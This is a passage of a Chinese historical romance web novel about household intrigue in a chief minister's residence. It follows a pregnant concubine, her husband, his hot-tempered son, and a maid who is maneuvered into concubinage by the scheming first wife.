徐可心垂下眉眼,侧过身子,扶着林远舟的肩膀背对着林昭明,不管他是何心思,单留给他一个背影。 林昭明今日本不想来,但得了母亲的话,前来书房向父亲认错,没想到进门后,徐可心也在书房。 她如今已有四月的身孕,格外显怀,肚子微微隆起顶着衣服,林昭明眼下未伸手抚摸,但仍然记得那日隔着衣服贴上去的感觉,柔韧松软,好似靠在棉花上。 不单是肚子,脸上也微微长了些许肉,他刚在府中遇见徐可心时,这人的脸颊轻微凹陷,不似过去那般丰盈,好似刚从鬼门关出来被折磨了一遭。 可如今再看,她的双颊却带着几分肉感,不用上手揉捏,光是看着,就知道软乎乎的。 林昭明隐在袖中的手指不自觉微微摩挲,盯着徐可心的背影良久才移开目光,缓步上前,主动行礼谢罪,说自己会悔过。 言辞算得上诚恳,只是不知道他到底真心悔过还是装出来的样子。 林远舟淡淡看了他一眼,并未理会他的话,而是轻声唤了一句可心,问她是否原谅这人。 徐可心本躲着林昭明,闻言攥着男人肩膀的手微微用力,好似察觉到她的抗拒,林远舟抬手,轻轻拍了拍她的手背。 她先是看了眼林远舟,复又看向林昭明,却见林昭明仍在盯着她看。 四目对视,她匆匆收回目光,扶着林远舟的肩膀,直言道,“妾身气量小,难以放下昨夜之事。” 刚入府时,她一心讨好大人,凡事忍着让着,不敢向他诉苦,现在知道大人愿意为她做主,她也不想忍受林昭明的轻薄无礼。 林远舟握着她的手,指腹按在她的手心上,把玩玉物件似的,不轻不重摩挲,“既然不愿原谅,那便依可心的心意。” 徐可心闻言,稍稍松了口气,抬眼看向林昭明,本以为他会像往日那般暴跳如雷,追着她质问不休,但今日不知怎么回事,饶是谢罪无果,这人的面上也未露出半分阴沉之色,反倒紧拧着眉,眼底竟透着几分困扰。 徐可心不知道他在想什么,但见他未同稚童一样撒泼耍无赖,心弦也稍稍平复些许。 正院。 林昭明离开书房后,前去祠堂罚跪,大夫人命人送午膳给他,也被看守的下人拦了下来,丫鬟告诉看守,前来送饭是夫人的命令,看守闻言,只说没有大人的命令不得探望二少爷。 大夫人知晓后,一口气不上不下,顿觉额头阵痛,用力揉着,但良久没有缓解。 “夫人,三姨娘来了。”周菱走进屋内,小心 禀告道。 大夫人手指一顿,眼也不抬蹙眉道,“让她进来。” 半晌,三姨娘缓步走进屋内,卖着笑,上前行礼问安。 她一进来就好声好气地劝解道,“夫人,公子虽被大人处罚,但二人终究是亲生父子,不会真得生了嫌隙。” 话音刚落,大夫人霎时抬眸看她,眼底未透出几分动容,反而带着审视。 三姨娘身子一僵,回想自己刚刚那句话,未发觉哪句话有问题,这人为何用这种目光看着她…… 可还未等三姨娘深究,大夫人就移开了目光,“你今日前来所为何事?” 她话语不耐,压着几分烦躁。 知道大夫人不想同她多言,三姨娘也未卖关子,看向周菱,“你去把门关上。” 她下了命令,周菱却未动,只冷眼看着她。 “去啊,站着做什么?”三姨娘催促一句。 大夫人看了周菱一眼,周菱才转身关门。 知道这丫鬟素来只听大人和夫人的话,心气高骨子格外傲,三姨娘也未多理会她,待房门彻底关上后,才直接道,“夫人,如今徐姨娘刚入府没多久,本来就得宠,眼下还怀有身孕,更是得势……” 她话语不停,一直在说徐可心的不是,可绕了半天也未说清来意。 大夫人眼下头疼得紧,心上本就烦躁,听她在耳边嘀咕不停,冷声道,“大可直言,绕来绕去惹人心烦。” 三姨娘闻言,见她终于问起,也未在意她斥责的话,笑了笑道,“是妾身话多了。” “妾身方入府那会儿,还只是二姨娘身旁的一个丫鬟,得夫人提点,才有幸成了大人的妾室。眼下春熙斋那位死了,后宅少了人,不如再寻一个丫鬟过去如何?既能伺候大人,也能同妾身一般,与夫人说说知心话。” 大夫人揉着额心,倒也未说什么,三姨娘此次前来,也未断定这人会采纳她的话,只是给大夫人提个醒,把徐可心拎到这人面前,让她留意着。 两人谁都未开口,一直站在一旁的周菱突然道,“夫人,奴婢也觉三姨娘的话在理,如今徐姨娘实在得势,大人甚至为了她惩处两位少爷,令人实属咽不下这口气……” 话音刚落,大夫人和三姨娘一起抬眼看向她。 大夫人眸色阴沉,带着明显的审视,周菱话语一顿,心弦也不自觉紧绷。 未等大夫人说什么,三姨娘忽然笑道,“夫人,要说谁最合夫人心意,最听夫人的话,妾身觉得,此人非周姑娘莫属。” “而且周姑娘模样俊俏,心思通透办事稳妥,拥有一颗七窍玲珑心,若真成了大人的妾室,想必一定会伺候好大人,得大人喜欢。” 三姨娘站起身,走至周菱面前,攥着帕子直接抬起她的下巴,强迫她抬头让大夫人看她的脸,“夫人你瞧,这脸蛋,这眉眼……哪里比听雨阁那位逊色。” “听雨阁那位在教坊司琢磨了三年,人也变得格外俗气,没有半分千金小姐的样子,哪像周姑娘这般清冷卓绝……” 三姨娘话语不停,从上到下把周菱夸了一遍,周菱不喜三姨娘,厌烦三姨娘的舌根子,可听三姨娘推举她做妾,周菱却未置一词。 大夫人本揉着额心,目光落在她们二人身上,无声看着她们。 周菱知晓,她是夫人手底下的妾室,若想上位,总应得夫人的允许,可连通房丫鬟和官妓都能成为大人的妾室,她又有何不可。 周菱的心弦绷紧,强装不在意,不想让夫人看出她眼中的贪欲,可饶是她隐藏得再好,微微抖动的双腿还是出卖了她。 大夫人沉默半晌,忽得笑了一声,微微支起身子,双手交叠放在腿上,平声道,“话在理,眼下徐姨娘怀有身孕,无人侍奉大人,总应再寻一个可人陪在大人身侧。” “既然三姨娘极力推举,你这丫鬟等下梳妆打扮一番,晚些随我去见大人。” 她刚说完,周菱就扑通一声跪在地上,“奴婢谢夫人的赏识。” 她跪在地上,眼底透着难以掩饰的喜色,三姨娘站在一旁,看了一眼面无表情的大夫人,心里不自觉轻啧一声。 她过去以为周姑娘聪慧谨慎,是一条对大夫人格外忠心的好狗,不会背叛大夫人,眼下一看,原来周姑娘也早就怀了别的心思,想要翻身当主子。 她如今怀有身孕,本以为会压徐可心一头,也得大人的关照,可莫说改姓,她连一两金子也未见到,大人完全不在意她腹中的孩子,甚至未到颂兰苑见她一面。 备受冷落多日,她只能前来正院,想要借大夫人的力,让徐可心不至于那般得势,谁成想眼下阴差阳错,拽出了大夫人身边的一只蛀虫。 不过只要有人能分走大人的喜欢,她徐可心也算不得什么。 听雨阁。 徐可心白日在书房呆了一整日,直到宫中派人传大人进宫,她才回了听雨阁。 知道大人今夜也会来,她寻了针线,坐在桌案上细细穿梭,她不擅长女红,但实在期盼腹中的孩子,想要亲手为他缝制衣裳。 那日管家送琴给她时,还带了几匹苏绣,她一直存放在木匣中,眼下一齐拿了出来,将其尽数裁剪成衣,不知晓腹中的孩子是男是女,但幼儿的衣裳总是没有太大差别。 从黄昏等到天黑,又一件衣裳见了尾,待拿剪子轻轻剪断最后一根线,徐可心才忍不住抬眸看向门外,不明白大人为何还未前来。 不过大人时常深夜回府,兴许还未从公务中脱身。 她细致地叠放好衣裳,放进木匣中,又择了一匹布,拿起剪刀正要裁剪时,门外传来脚步声。 房门被推开,徐可心寻声看去,面露期待,待看到来人是房中的丫鬟后,面上的期待又归为平和,轻轻叹了口气。 徐可心收回目光,随口问她,大人是否回了府中,等了半晌,却迟迟未等到回答。 她不解看去,却见丫鬟面色踌躇,良久才道,“姨娘,大人眼下在周姑娘房中……” 话音刚落,手中的剪子霎时落地,重重砸在地上,砰的一声,尖头险些刺到徐可心的腿。 徐可心怔愣地看着她,良久未明白丫鬟的话,大人为何在周姑娘那里…… 第54章 入夜后,正院东厢房外透着亮光,不似往日那般漆黑无光。 屋内罗帐低垂,重叠的纱幔如水波般微微浮动,暗香自铜炉边落下,静静蔓延占据整个厢房。 林远舟推门走进时,却见一女子背对着门坐在柔纱之后,身姿曼妙,长发垂至肩侧。 他淡声道,“可心,同为夫回听雨阁……” 话还未说完,那女子倏地站起身,绕过薄纱走了出来,轻轻唤了一声大人。 声音忐忑不安,好似格外害怕,眸色与之相反,透着难以掩饰的期待。 她身着里衣,长发垂在身侧,未梳发髻也未穿旁的衣裳,只站在那里,直直看着他,眸中情意浮动。 她的母亲是大夫人的陪嫁嬷嬷,她也自小在夫人身边伺候,由于办事稳妥慢慢成了夫人的近身丫鬟,连带着身份地位也在府中水涨船高,下人见了她都唤她一声周姑娘,连府上的姨娘也要给她几分薄面。 大人在吏部任职时,她就在夫人身旁伺候,如今大人成了权倾朝野的首辅大人,她仍在夫人院中侍奉。 大人家世显赫容貌不俗,受京中小姐追捧,她本以为这人汲汲于功名,不落世俗,只压着心中的喜欢,想着站在远处一直望着大人就好,直到那小丫鬟大着胆子爬上大人的床还未受大人惩戒时,周菱才变了心思。 大人不是那天上月,她也不比旁人逊色,没道理别人都成为大人的妾室,而她只能当个丫鬟。 周菱倾慕眼前的男人,但顾着体面,不愿像旁人那般主动上前献媚,只站在原地,直直看着他。 她本以为这人既然已经入了厢房,想必已经愿意纳她为妾,可男人自入门后,只随意看了她一眼,语气淡漠,“徐姨娘在何处?” 未曾想过他会提起徐姨娘,周菱怔愣地看着他,“大人,奴婢不明白你的话?” 夫人分明说,会将她引荐给大人,扶她做妾,可这人话中的意思,却好似对此并不知情…… 未等她想清楚缘由,男人已经转身准备离开。 见他要走,周菱也顾不上自己的体面,快步上前直接跪在地上,攥着男人的外衣,仰视他道,“大人,徐姨娘如今怀有身孕,身子不便难以侍奉大人,不如让奴婢侍奉大人如何?” “徐姨娘知晓的招数手段, 奴婢也愿去学……” 她恳求地跪在地上,姿态卑微,一副楚楚可怜的模样,可还未等说完,男人居高临下俯视她,语气没有起伏问,“徐姨娘知晓何种招数手段?” 周菱话语一噎,意识到自己说错了话,连忙道,“大人,奴婢并无旁的心思,只惦念大人公务繁忙,也想近身服侍大人。” 她话语不停,膝行上前,攥着男人的衣摆不愿松手。 男人垂眸无声看她,良久无言。 对上他没有情绪的目光,周菱的心鼓跳如雷,不似之前那般从容,认准这人会收她为妾,而是小心地望着他,脊骨愈发蜷缩,卑微到了极点,只能恳求地望着他,希望获得这人的怜惜。 过了半晌,周菱才听他问,“夫人命你在房中等候?” 周菱闻言忙不迭点头,“没有夫人的恩准,奴婢不敢越矩……” 话一出口,周菱眸色一怔,立马意识到不对,夫人分明说过今夜会为她向大人说清,可眼下听来,大人并不知晓自己会在房中等她,而且大人方才进门时,唤了徐姨娘的名字…… 一瞬间,周菱忽得脊背生寒,她倏地抬头,紧攥着男人的衣摆,彻底不愿松手。 男人站在她面前,面上没有半分怜惜之色,正当她的心要坠到谷底时,男人淡声道,“既是夫人的心意,明日搬进春熙斋。” 话音一落,男人未再多说,向门外走去,周菱收回手,扶着地面,望着他远去的背影良久才回过神。 伏在地上的手指紧攥成拳,指尖深深陷进肉里,也未松开。 大夫人竟摆了她一道…… 听雨阁。 知晓大人去了周姑娘那里,徐可心早早入寝,未同往日那般等他过来。 她枕着手臂,垂着眉眼盯着虚空,怎么也无法安睡。 过了半晌,门外传来脚步声,她以为那人是守夜的丫鬟,没有在意,等房门被推开时,才倏然抬眸,扶着腹部起身看了过去,却见男人缓步走进。 四目对视,徐可心微微蹙眉,知晓他方才去了周姑娘房中,以为他方同旁人做了欢好之事又来哄自己玩,不禁胸口沉闷,复又蜷缩回被中,单留给他一个背影。 男人方从进来,身上还透着寒气,待冰冷的长指贴上她的脖颈时,徐可心微微瑟缩,眼也不抬地推开他的手,低着头,将脸埋在被子里,连个背影也不给他。 “谁又惹了可心不快,可告之为夫?” 低低的声音在头顶传来,带着几分纵容的意味,若在往日,她早就为此动心,可知晓大人方从别人房中过来,徐可心只觉心上格外沉闷,不想再听他讲一句话。 自从怀孕后,她的心绪就时常不安宁,时而愉悦时而烦躁,偶尔还郁郁寡欢。 本来徐可心只将心绪压在心里,没有表露在外,但近日一直被他纵着,在这人面前也愈发没了规矩,不想同大人卖乖,只想让他哄着。 思及此,她攥住被子的手微微用力,即使被闷得呼吸不畅,也不愿抬头。 外面良久未传来声音,正当她以为对方已经离开时,忽得一只手探进被中,将她拦腰抱了出来。 “可心是在同为夫置气?” 林远舟边说,边抚上她的脸颊,为她整理沾在脸上的碎发,徐可心面色涨红,微微蹙眉,含糊道,“大人方才不是去了周姑娘房中,还来妾身房中做什么?” 徐可心不敢直视对方的目光,早在开口前就紧紧阖上眼睛,埋首在男人怀里。 她知晓自己方才的话不讲理,大人没道理每夜只来她房中,但若不说出来,她又觉心口沉闷,连带着浑身上下哪里都不舒服。 质问的话脱口而出,本以为这人会怪她任性,出言训斥她,可过了良久,林远舟也未说什么。 对方只揽着她的肩膀,轻轻安抚地拍着,温声道,“方才有人告诉为夫,夫人唤你去了正院,为夫得知后前去寻你,但只见到一个丫鬟,未见到我们可心。” 徐可心本来垂着眉眼,闻言霎时抬眸,扶着他的肩膀坐起身,“此话当真?” “大人未……”同周姑娘欢好。 话说到一半,男人抬眼看了过来,眉眼微微上挑,透着几分轻佻,好似在期待她会说出什么蛮不讲理的话。 四目对视,徐可心话音一顿,没有再继续说下去。 知道自己误会了他,心上的沉郁一点点褪去,被窘迫取而代之。 她心虚地阖上眼皮,小心枕着男人的肩膀,闷声认错,“是妾身错怪大人了……” 徐可心方才不敢看对方,是气他寻了旁人,现在不敢看对方,是气自己无理取闹,无颜面对他。 可饶是她再不想面对,还是被扶着下颌抬起脸,不得不同他对视。 徐可心面色紧绷,小心地看着他。 “既可心承认错怪为夫,按理说也应受为夫惩戒,才好寻得为夫的原谅。” 对上他没有情绪的目光,徐可心不安追问,“大人想要如何惩戒妾身?” 林远舟无声看着她,虽说要惩戒她,但面上未露出多少戾气,只面无表情地看着她。 可恰恰这副神情,才令她心生胆怯,双腿也不争气地开始颤抖。 大人懂得多,会得也多,无论言行温柔还是暴戾,都能折腾她一整夜,直把她累得浑身酸软无力,才堪堪放过她。 眼下这人眸色平静,她无法猜出这人的态度究竟如何,心上也不自觉格外忐忑。 正当她的心不上不下险些快要蹦出来时,男人忽得抬手,轻轻拍了下她的后腰,淡声问,“可心很害怕?” 宽大的掌心贴着她的身子,无声桎梏她的身体。 徐可心下意识点头,对上他审视的目光,又微微摇头。 男人抬手上移,扶着她的后背,将她安放在床上,双臂撑在她身侧,俯身轻声问,“可心可知晓错在何处?” “错在……错在错怪大人……”她紧张地盯着男人的容颜,断断续续道。 林远舟抬手,不紧不慢勾上她的衣带,扯开后又问,“除此之外,可还知晓旁的错处?” 除此之外……徐可心反复想着两人方才的交谈,良久无果。 大人的问话太宽泛,她根本不知从何答起,只忐忑地回视他。 男人见状,轻笑道,“既然不知晓旁的错处,那便等可心知晓了,今夜再放过可心。” 话音一落,徐可心的眸子霎时瞪大,不可置信地看着他,却见他微微俯身,吻上她的唇角。 呼吸交缠,男人眼底的平静消失得一干二净,转而被浓重的情欲取代,本垂在她身侧的手,也按在她的心口上,钳制住她的身子,让她动弹不得。 第55章 林远舟微微低头,吻上她的侧颈,手臂撑在一侧,护着她的腹部。 温热的唇贴着脖颈,很痒。 她不明白大人方才话里的意思,也不知晓自己犯了何种错处,只下意识环住他的脖颈,把自己的整个人完全交给他, 好似只要这样,就可以缓解心上的紧张。 很久之前,她没有自己选择的余地,只能把自己的一切交给旁人去安排,而她像个木偶人一样,顺着那条早已经被安排好的路去走。 双亲去后,她受困于教坊司,身不由己,依旧像个木偶人,被人打扮好放在人群里,抚琴卖艺。 她好似早就习惯了依附旁人,任由旁人随意摆弄她,也早就失去了独自作择的主见,像是被折断羽翼的飞鸟,习惯了笼子里的生活。 哪怕身体离开了笼子,心也一直受困笼中,会主动去寻找下一个安置她身心的牢笼,好似只要全身心依附一个人,就可以免去独自面对一切的无措。 若笼子里安置了新宠,她便会惊慌失措,害怕被舍弃,害怕去流浪。 徐可心看着面前的男人,并未在意他方才口中的惩戒,而是轻声道,“妾身有个问题想问大人。” 男人啄吻的动作一顿,抬眸无声看她。 四目对视,迎着他的目光,徐可心沉默半晌,半阖眼皮问,“大人,你喜欢妾身吗?” 喜欢她的什么,她的温顺乖巧,她的容貌身子,还是无趣至极,把她当个解闷的……把她当只无聊时逗弄的鸟雀儿,待厌烦了,再寻新宠。 她总是贪心不足,想要更多。 “可心温婉动人,无人不会喜欢怜惜。”男人抬手,抚上她的侧脸,抵着她的额头,吻上她的鼻梁,不紧不慢道。 徐可心微微偏头,躲开他的吻,盯着旁处,眼也不抬道,“旁的呢?” “大人知晓,妾身想听的不是这个。” 人非圣贤,她身为寻常女子,更不是什么完人,意气用事,终身为情所困,何时都离不开一个情字。 若只喜欢她如今温婉的性子,哪日发现她并不如初见时那般温婉,难道就要厌烦她吗? 难言的郁气蔓延至心间,压得她喘不过气。 她总是喜欢把一切往最坏的结果去想,不想期待太多,怕失落受伤,可又每每像个莽撞的稚童,忍不住付诸一切。 她想要大人喜欢她本身,喜欢她这个人,而非把她当成鸟雀,每每看向她时,只是在看徐可心。 虽早就知道回答,但见身旁人良久未语,她的心上还是忍不住泛起失落。 徐可心紧抿着唇,方要开口说自己在胡言乱语,一直沉默不语的男人忽然低头,微微张口,含住她的耳垂。 温热的呼吸落在耳边,她霎时抬眸,却听男人在她耳侧低声道,“可心要听为夫的真心话?” 徐可心闻言,眼也不抬地嗯了一声,要听的,哪怕结果不如人意,她也要听,把遮掩在彼此之间的薄纱撕碎了,才能触及真心,知晓大人是否也对她是真心的。 徐可心复又等了半晌,一直未听到身旁人开口,忍不住转头去看他,想要催促他快些回答,可就在她转头的瞬间,男人忽然低头,吻上她的唇。 温热的唇贴着她的唇,而非唇角,徐可心双眸怔愣,整个人僵在床上,大脑霎时空白,呆滞地看着近在咫尺的男人。 未等她回过神,男人便抬手按在她的肩膀上,用力攥住她的肩膀。 她身子僵硬,任由男人愈吻愈深,完全忘记自己方才问了什么,只直愣愣地看着他的容颜。 待牙关被撬开,口中被冷香占据时,她已经彻底陷进男人的温柔中,忍不住环住他的脖颈,笨拙地回吻。 她那夜趁大人醉酒偷吻,只浅尝辄止,贴着他的唇蹭来蹭去,可男人明显吻得比她更深,不断汲取她的呼吸,让她几近窒息。 徐可心呼吸不畅,面色微微涨红,忍不住抬手,扶着男人的胸膛想要推开他,可不知为何,自从唇贴上那一刻开始,对方的吻变愈发重,好似要吞掉她一般。 好似察觉到她的抗拒,男人忽得抬手,按在她的心口上,直接将她按在床上桎梏着她的身子,让她无处可逃,只能忍着快要濒死的错觉承受他的侵占。 大人吻她的动作格外重,钳制住她的手也格外用力,掐得她肋骨生疼,不知是不是她的错觉,这人好似愈发兴奋起来,不似平常那般游刃有余,而是透着几分不受控的暴戾。 害怕大人吻到兴头上失控伤到她腹中的孩子,她犹豫良久,终于忍不住张口,重重咬在男人的唇上,想到让大人回神。 可直到口中溢满腥甜的血气,对方也没有放过她的意思,反而吻得愈发重,让她几乎快要窒息昏倒。 不知过了多久,久到她的唇发麻胀痛,男人才终于直起身,餍足似的抬手,毫不在意地抚下唇角的血。 徐可心终于得到喘息之机,胸膛起伏不停,大口大口地呼吸,可还未等平复心绪,男人复又俯下身将她揽在怀里抱紧,有力的双臂环着她的后背,将她紧紧抱在怀里,两人之间没有一丝缝隙。 徐可心双眸瞪大,以为他还要来,下意识按着他的胸膛,想要推开他,说自己真得不行了,可男人只微微低头,安抚似的轻轻吻了一下她的耳垂,贴着她耳侧轻声道,“为夫喜欢可心的怯懦,每每见了为夫,都像只兔子跑开。” 徐可心微微蹙眉,方要辩解说自己何时见到他就跑开时,却听男人继续道,“可即便性子胆怯,遇见在意的人,也同兔子一般直白莽撞,急了也会咬人。” 徐可心本来还在期待他的回答,闻言面色紧绷,不明白大人到底是不是真得喜欢她,不然为何又说她胆怯,又说她莽撞…… 不过相比较方才那句喜欢可心的动人,她更喜欢眼下这个回答。 知晓她的不足难堪,仍喜欢她,而非只在意她的乖顺……她喜欢大人,愿意在大人面前露出乖顺的模样讨大人喜欢,但不想大人只喜欢她的乖顺。 徐可心环住男人的手臂微微用力,让他低下头,随后轻轻凑上前,轻吻他的唇角,含糊道,“妾身也喜欢大人。” 喜欢他的一切,无论好的还是坏的,只要是他,都喜欢。 她轻吻一下后,就要离开,可男人垂眸看着她,竟低头追吻,复又吻了上来。 她下意识想要躲开,可按在她后背上的手先一步上移,按在她的头上,不让她后退,只能再次承受这人的深吻。 直到她累到几近晕厥,昏昏欲睡时,她才依稀听见男人在她耳边轻声道,“可心不信为夫,只把为夫想成天底下最无情之人,这便是可心的另一错处。” 徐可心想要解释,但实在被这人吻得浑身酸软提不起力气,伏在他怀中彻底睡了过去。 临昏睡前,男人低头,吻上她的眉心,温热的唇贴在她的额心,温柔怜惜,好似在这一刻,她不必担心这人会舍弃她。 白日醒来时,她还沉浸在昨夜的吻中无法回神,却听丫鬟禀告她,大人纳了周姑娘为妾,让她住进春熙斋,几乎瞬间,心上的欢愉一扫而空。 徐可心紧抿着唇,坐在琴前想起昨日两人的亲昵,越想心上越气,以为大人说情话骗她,忍不住在心里斥责他是骗子。 她正闷闷不乐,攥着琴弦,惦念周姑娘的事情时,丫鬟复又禀告说,二少爷来了。 徐可心霎时回神,也顾不得在埋怨大人,想要躲起来,可房门已经被人推开,她寻声看去,却见身着玄衣的男人大步走了进来,背上背着弓箭,手里还正正好好拎着两只活蹦乱跳的野兔。 忽得想起昨夜那人的话,徐可心面色紧绷,看到野兔的一瞬间,顿觉心上格外烦躁。 她脸上的面色转变得太过明显,让人想不发现都难,本兴致冲冲前来的林昭明面色顿时一黑。 第56章 “二少爷不在祠堂罚跪,来妾身房中做什么?”徐可心站在原地,看向他的目光带着毫不掩饰的排斥。 林昭明面色难看,攥着兔耳朵的手指也不自觉用力,手背紧绷青筋暴起。 两只兔子一白一黑,白的那只上眼皮被扯开,瞪着眼睛,胡乱撅着腿,甩着身子想要挣脱他的手,可费了半天力气,无论如何都无法挣脱,一脚踹到身旁的黑兔身上,黑兔也开始挣扎。 两只兔子身上还带着杂草和血迹,好似刚被抓到没多久。 林昭明面色难看,明显压着怒气,但不知为何,过了良久也未开口,反而上前一步,将手中兔子拿到她面前,平声道,“白日被父亲命人传去校场同人学武,回来时打了两只野兔。” 他说从校场回来,徐可心才发现这人的衣上沾着几块泥土,冷白的面容也不似往日那般干净,覆着薄薄一层灰,头发也些许凌乱,好似方在地上滚了几圈 ,弄得一身脏污。 过去这人也时常跑去校场同人切磋,不过都是同辈公子,鲜少落了下风,眼下满身狼藉……怕是被人压在地上打了一顿。 思及此,徐可心不自觉道,“二少爷同人比试输了?” 话音刚落,本来还算冷静的男人面色霎时一黑,“我如何会输?” 忽得想到什么,林昭明复又冷声质问,“你竟认为我会输?” 知晓林昭明听不得输这个字,可她又实在不明白为何这人会弄得一身狼狈。 不过眼下徐可心不想同这人继续纠缠,只催促道,“输赢都与妾身无关,若无事的话,妾身还要午寝,公子快些离开罢。” 见她要赶自己走,林昭明不仅未识趣离开,反而将手中五花大绑的两只兔子扔到桌案上,“刚过冬的兔子,肉还肥着,烤了之后吃进肚子里,也让你腹中那孽种打打牙祭。” 前半句话还好好讲着,后半句话就变了味道。 见林昭明又唤她腹中的孩子为孽种,徐可心眸中不自觉泛着怒气,直言道,“妾身无福,难以消受公子送来的东西。” “公子回府了,理应去祠堂前罚跪,公子还是带着兔子快些离开罢。” 徐可心说完,不顾林昭明僵硬的面色,头也不回转身向里室走去,俨然一副不待见他的模样。 林昭明见状,顿时火上心头,他好心前来送兔肉,不收也就算了,还对他冷眼相待。 若在过去,无论他送什么东西给这人,徐可心都欢天喜地收下,当个宝贝似的珍藏起来,哪像眼下这般,不仅不收下,还要赶他走,他林昭明何时受过这种委屈。 况且他方才并未说什么难听的话,也未斥责徐可心,不过骂了她腹中的孩子是孽种,这人就变了脸色。 果然对徐可心来说,这孽种比他还要重要。 林昭明攥着兔耳,浑身戾气向门外走去,这人不要兔子,他还不送了。 谁成想还未等他走出听雨阁,迎面走过来一个人,直接撞进他怀里,险些撞掉他手中的兔子。林昭明抬眼看去,却见来人正是正院的丫鬟。 那日便是她,命人用拶子夹了徐可心的手指,林昭明方被人赶走,正气头上无处发泄这种怒气,一看到她就冷声道,“你不在正院侍奉母亲,来听雨阁做什么?” 周菱白日搬去听雨阁,本以为大人既然愿意纳她为妾,便是接纳她,谁成想白日醒来时,旁人告诉她,昨夜大人离开后去了听雨阁。 大夫人说完将她推举给大人,可昨夜大人对此并不知情,大夫人根本未同大人讲纳她为妾一事,分明想把她推进火坑。 她满身火气无处发泄,又不敢去见大夫人,只能前来听雨阁讨要说法,想要质问徐可心,是不是和大夫人串通一气,存心害她。 谁成想二少爷也在,在看到林昭明的一瞬间,她满身的火气霎时消失得一干二净。 “少爷为何在听雨阁?”周菱迟疑道。 林昭明闻言,瞥了她一眼,语气不算好道,“本少爷在何处关你何事?倒是你,跑来听雨阁做什么?” 过去二少爷就不把下人当人看,非打即骂,她在正院伺候时不敢招惹他,可她如今也是大人的妾室,如何能咽下这口气。 “二少爷,今日起奴婢便是大人的妾室,你理应唤奴婢一声庶母。” 话音刚落,林昭明明显一愣,正当周菱以为这人心生顾虑时,却听他冷声斥责道,“你算什么东西,也敢命本少爷唤你庶母?一个下人也敢在我面前立威。” 林昭明眉眼不耐,眼底带着不加掩饰的轻视,好似她是什么最下贱的畜生一般,“徐姨娘如今怀有身孕,若你有什么要紧的事情,直接告诉本少爷,不得打扰她,若没有就赶快滚。” 他言语粗俗,可话里话外满是护着徐可心的意思。 周菱本就气大人昨夜见了她之后又去寻徐可心,现在见二少爷也偏向徐可心,面色霎时难看,直言道,“二少爷,如今她只是怀有身孕,并非得了不治之症,少爷何必小心谨慎捧着她,况且她腹中孩子的父亲是大人而非二少爷,二少爷又为何这般护着徐姨娘?” 她话语不停,一开始林昭明只是面露不耐,可听后半句话,林昭明霎时抬手,用力攥紧周菱的衣襟,另一只手紧攥成拳,“你说谁得了不治之症?” 林昭明白日刚去校场被几个武官轮流针对,本就压着一身怒气,回来时好心前来见徐可心又被赶走,更是浑身戾气,眼下竟被一个下人挑衅,只觉周身暴戾难耐,恨不得杀人泄愤。 对上他几近吃人的目光,周菱心上的怒气也再次消散,彻底回过神,面色青紫慌乱道,“少爷眼下还被大人罚跪祠堂,若少爷打了奴婢,大人一定不会轻饶少爷。” 林远舟面色不变,只盯着她道,“一个下贱玩意也敢在我面前装主子,再多嘴一句,便用刀割下你的舌头。” 说完,他直接松手,将周菱重重摔在地上。周菱方得解脱,也顾不得向徐可心讨要说法,不敢再说什么,连忙爬起来向听雨阁外面跑去,脚步飞快,生怕走得晚了就被这混不吝割了舌头。 待她走后,林昭明随手扔下手中的兔子,紧绷着脸也大步离开。 只等院外彻底安静下来,房门才被人从里面轻轻推开,徐可心俯身抱起地上的兔子,看着远处男人的背影,轻轻叹了口气。 两人方才说话时未压低声音,她在屋内听得一清二楚,不知晓周姑娘今日为何上门拜访,但她眼下的确不想见到周姑娘。 见周姑娘被林昭明赶走了,徐可心也不自觉松了口气。 不过这人的脾气好似愈发急躁了,好似火药一般,一点就着。 徐可心想不明白,为何大人和长公子性情冷静平和,唯独林昭明横冲直撞,独一份的暴躁。 周菱从听雨阁离开后,还未等回春熙斋,半路就碰见三姨娘。 对方一见到她就热情迎了上来,笑着说,“听说大人命周姑娘搬进春熙斋,哎呀,这可不得了啊,那春熙斋可是个金贵的好地方,大人既然将周姑娘安排在那里,想必也格外看重周姑娘。” 三姨娘不停地说着好话,周菱闻言面色稍稍缓和些,可还未等她回应什么,却听三姨娘继续道,“不过白日听下人说,大人昨夜见了周姑娘后,没过多久又去了听雨阁,这又是怎么一回事?” 她语气不解,好似真得不知晓缘由,可眼底盛满笑意,并不似真得不知情,反而带着几分看热闹的神色。 周菱面色一僵,明白三姨娘也知晓她昨夜被大夫人算计了,直接剜了她一眼,转身离去。 “哎!哎!周姑娘你走什么啊,周姑娘……”三姨娘的调笑声在身后,气得周菱浑身颤抖。 分明知晓她如今不再是奴婢,三姨娘仍唤她周姑娘,之前分明知晓徐可心命下人不得唤她四姨娘,三姨娘依旧一见面就唤她四妹,摆明了存心膈应她们。 周菱气急,快步回了春熙斋,谁成想刚走进院子,就见一众下人聚在石桌前耍牌,看她来了,也不上前迎接,只自顾自交谈,好似未看见她一般。 周菱气不打一处来,直接上前,看着她们的背影冷声责问道,“你们做完活计了吗?就在这里耍牌?” “还不快去干活!” 她下了命令,本以为他们会同过去那般害怕得连忙起身,可不知为何,几人仍低着头,未曾看她一眼。 “等等,应轮到我 出牌了。” “对子。” …… 几人的哄笑声在一旁响个不停,周菱气急,直接用力推开临近的一个丫鬟,抢过几人手中的木牌扔在地上,“你们是聋了吗?没听见我的命令吗?” “还有没有点做下人的样子?愈发没有规矩了。” 话音刚落,一个丫鬟忽得嗤笑道,“周姨娘,你一个丫鬟爬上大人的床,还好意思教训我们没有规矩,分明最没有规矩的人就是你。” 周菱闻言,面色霎时一白,“我何时爬上老爷的床,分明是夫人将我推举给大人。” “怎么?敢做不敢认,正院的小桃都告诉我们了,夫人厌烦你不讲规矩,就是个下贱货色,令我们不必听你的话,说你姑且算大人的通房丫鬟,何时成了大人的妾室?” “不过得了一处院子,真把自己当主子了,几个小丫鬟消息不灵通,以为你成了大人的妾室捧着你,我们可不惯着你。” 丫鬟不紧不慢说完,挥挥手,领着几个下人离开了,独留周菱站在原地,垂在身侧的手紧攥成拳。 她环视眼前冷清的院落,咬牙向书房跑去,既然大人赏了院子给她,她分明就是大人的妾室,她必须得了大人的亲口命令,向其他人证明,她就是大人的妾室,不是什么通房丫鬟。 林昭明方在她院中闹了一通,钱管家就上门传她去书房,徐可心心上郁闷,正想要问清楚周姑娘的事情,闻言立刻动身。 谁成想刚到书房,就见周菱在书房门外长跪不起,徐可心扶着腹部,路过她时,垂着眉眼不和她对视,待侍卫为她开门后,快步走入书房。 几乎在书房门关闭的一瞬间,屋外传来周菱的声音,“奴婢求见大人,大人为何不见奴婢……” 